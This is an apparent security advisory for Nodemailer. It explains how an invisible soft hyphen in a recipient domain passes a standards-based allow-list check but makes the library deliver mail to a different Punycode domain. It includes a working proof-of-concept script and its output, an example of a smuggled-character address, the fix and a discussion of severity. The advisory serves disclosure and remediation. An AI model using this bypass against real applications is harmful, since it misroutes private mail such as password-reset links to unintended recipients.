Nodemailer: IDN/Punycode domain allow-list bypass leads to email delivery to an attacker-controlled domainGHSA-wmmp-3585-3rmp

Summary

Nodemailer resolves an international (IDN / non-ASCII) recipient domain to a different Punycode xn-- label than every UTS‑46‑conformant parser (web browsers, the WHATWG URL Standard, Node's url.domainToASCII, Python's idna). Its address normalizer (_normalizeAddress in lib/mime-node/index.js) uses the bundled raw RFC‑3492 Punycode codec with no UTS‑46 mapping/normalization, so a domain that a standards‑compliant validator maps to a trusted domain is delivered by Nodemailer to a different, attacker‑registrable domain.

An application that applies a domain allow‑list / same‑domain check to a recipient using a normal IDN‑aware parser (or that shows the normalized recipient to a user for confirmation) and then relies on Nodemailer to deliver to that domain can be induced to send email to an unintended external domain. This is the same weakness class as CVE‑2025‑13033 (Interpretation Conflict, CWE‑436) but reached through IDN/Punycode rather than quoted local‑parts, and it is not addressed by the 7.0.7 fix.

Because the mismatch can be triggered with an invisible character (U+00AD SOFT HYPHEN) that UTS‑46 folds away to the exact trusted domain string, no visible look‑alike/homograph is required.

Details

lib/mime-node/index.js → _normalizeAddress(address) (around lines 1307–1346) splits the address at the last @ and normalizes the domain like this:

// lib/mime-node/index.js
try {
    if (/[\x80-￿]/.test(user)) {
        encodedDomain = punycode.toUnicode(domain.toLowerCase());   // line ~1338
    } else {
        encodedDomain = punycode.toASCII(domain.toLowerCase());     // line ~1340
    }
} catch (_err) {
    // keep domain as supplied
}
return `${this._normalizeLocalPart(user)}@${encodedDomain}`;         // line ~1346

punycode here is the project’s bundled codec (lib/punycode/), which is a pure RFC 3492 (Punycode) implementation. The only normalization applied to the domain is .toLowerCase(). It performs none of the UTS‑46 “IDNA2008 + compatibility processing” steps that browsers and DNS‑facing resolvers apply before Punycode encoding, specifically:

• removing Ignored code points such as U+00AD SOFT HYPHEN,
• Mapping full‑width / compatibility characters to their canonical ASCII forms,
• Unicode NFC normalization,
• validity checks.

As a result, for any domain containing a UTS‑46‑mapped or ‑ignored character, Nodemailer’s punycode.toASCII(...) produces a different A‑label than url.domainToASCII(...) (Node ≥ 7 / WHATWG), new URL('http://'+domain), browsers, and Python’s idna (uts46=True). Nodemailer then uses its A‑label as:

• the SMTP envelope recipient written to the wire as RCPT TO:<local@xn--…> (getEnvelope() → lib/smtp-connection/index.js _setEnvelope), and
• the address emitted in the To: / From: headers (_convertAddresses).

So the domain a standards‑compliant validator computes and the domain Nodemailer actually delivers to disagree, on a syntactically valid, validator‑accepted address. Concrete divergences (verified on 9.0.6):

This is the “Punycode / IDN parser discrepancy” technique documented in PortSwigger’s Splitting the email atom research (which produced e.g. Joomla CVE‑2024‑21725 and fixes in the PHP idna_convert library). The fix for CVE‑2025‑13033 (nodemailer 7.0.7) hardened the quoted‑local‑part path only; this IDN path is independent and still present in 9.0.6 (latest) and, given the long‑standing use of the bundled RFC‑3492 codec, earlier releases.

Suggested remediation: perform UTS‑46 processing before/at domain encoding so Nodemailer’s resolution matches browsers, validators, and DNS — e.g. use the runtime’s url.domainToASCII() (available since Node 7) instead of the raw punycode.toASCII, and decode with the matching UTS‑46 domainToUnicode. At minimum, reject a domain whose value changes under UTS‑46 mapping (i.e. punycode.toASCII(d) ≠ url.domainToASCII(d)).

PoC

Environment: Node.js ≥ 18, the published [email protected]. No special configuration; the discrepancy is in domain normalization itself.

poc-idn.js:

'use strict';
const net = require('net');
const url = require('url');
const nodemailer = require('nodemailer'); // 9.0.6

const TRUSTED   = 'company.com';                        // the only domain the app will mail
const RECIPIENT = 'victim@compa\u00ADny.com';           // attacker input: invisible U+00AD inside "company"

// The app's domain allow-list check, done the standard (UTS-46 / browser / WHATWG) way:
const seen = url.domainToASCII(RECIPIENT.split('@').pop());
console.log('validator (url.domainToASCII) sees:', JSON.stringify(seen),
            seen === TRUSTED ? '=> ALLOWED (equals trusted domain)' : '');

// A tiny SMTP sink that prints the literal RCPT TO Nodemailer transmits:
const server = net.createServer(sock => {
  let buf = ''; sock.write('220 sink\r\n');
  sock.on('data', d => { buf += d; let i;
    while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);
      const u = line.toUpperCase();
      if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits             :', line); sock.write('250 ok\r\n'); }
      else if (u.startsWith('DATA')) sock.write('354 go\r\n');
      else if (line === '.') sock.write('250 ok\r\n');
      else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
      else sock.write('250 ok\r\n'); } });
});
server.listen(0, '127.0.0.1', async () => {
  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
  await t.sendMail({ from: '[email protected]', to: RECIPIENT, subject: 'reset your password', text: 'secret link' });
  t.close(); server.close();
});

Run:

npm init -y && npm install [email protected]
node poc-idn.js

Actual output (Nodemailer 9.0.6):

validator (url.domainToASCII) sees: "company.com" => ALLOWED (equals trusted domain)
nodemailer transmits             : RCPT TO:<[email protected]>

The application’s domain check approves company.com, but the message is sent to xn--company-pka.com — a different domain an attacker can register — carrying the To: header <[email protected]> as well.

A containerized version that proves the same result against a real RFC 5321 SMTP server (aiosmtpd) is included alongside this report (docker compose up --build, cases R6/IDN); the receiving server accepts RCPT TO:<[email protected]> and reports the recipient domain as xn--company-pka.com.

Impact

Any application that uses Nodemailer to send mail to a recipient whose domain is subjected to a security or trust decision made with a different (UTS‑46‑conformant) parser, and then trusts Nodemailer to deliver to that domain. This includes:

• recipient allow‑list / block‑list / “same corporate domain” checks implemented with new URL(), url.domainToASCII, a browser‑side check, or an IDN library;
• flows that display or log the normalized recipient domain for human confirmation (the shown company.com differs from the delivered xn--company-pka.com);
• any domain‑gated feature (employee‑only registration, “send only to our tenant”, notification routing).

Patched in 9.1.0

Domain encoding now applies UTS-46 (259c32d), so victim@compa­ny.com resolves to company.com, matching url.domainToASCII and browsers.

One caveat on the suggested remediation, hardened in b212ac4: url.domainToASCII is a WHATWG host parser, not a pure UTS-46 mapper. It terminates the host at /, \\, ? and # and percent-decodes. Used unguarded it introduces a worse version of the same weakness, since [email protected]/mail.corp.example encodes to the deliverable [email protected] where the bundled Punycode codec left it intact and unroutable. Those characters are now kept away from the mapper.

On severity, "attacker-registrable" is doing significant work in the report: xn--company-pka.com decodes to a label containing U+00AD and xn--mi7cd4afch9d.com to full-width Latin, neither of which Verisign's IDN tables permit for a .com registration. The misdelivery and the confirmation-UI mismatch stand regardless, which is why this is rated level with the comment issue rather than above it.